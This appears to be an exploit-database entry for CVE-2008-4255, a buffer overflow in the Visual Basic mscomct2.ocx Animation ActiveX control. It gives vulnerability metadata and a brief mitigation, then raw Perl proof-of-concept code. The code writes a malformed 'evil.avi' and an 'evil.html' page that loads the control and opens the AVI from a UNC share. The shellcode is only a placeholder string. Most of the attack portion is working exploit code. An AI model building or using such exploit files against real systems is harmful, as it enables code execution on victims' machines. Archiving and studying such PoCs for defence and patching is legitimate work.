Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC

vendor:

Visual Basic ActiveX Controls mscomct2.ocx Animation Object

by:

milw0rm.com

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Visual Basic ActiveX Controls mscomct2.ocx Animation Object

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2008-4255

CPE: a:microsoft:visual_basic_activex_controls_mscomct2.ocx_animation_object

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC

Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object is vulnerable to a buffer overflow vulnerability. An attacker can exploit this vulnerability by creating a malicious .AVI file and serving it via an UNC path. This will allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Users should update to the latest version of Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object  Buffer Overflow (CVE-2008-4255) PoC
# You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx
# /JA
# Come to FRHACK!
# www.frhack.org

print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n";
print "Generating malicious .AVI file\n";
print "This file should be served via an UNC path\n";
print "[->] Building  evil.avi\n";

my $shellcode = "http://metasploit.com";

$FileHeader =
"\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

open(my $poc, "> evil.avi");
print $poc $FileHeader;
close($poc);

print "[->] evil.avi generated\n";
print "[->] Building  evil.html\n";

$EvilHTML =
"<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>".
"<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>";

open(my $poc, "> evil.html");
print $poc $EvilHTML;
close($poc);

print "[->] evil.html generated\n";

# milw0rm.com [2008-12-12]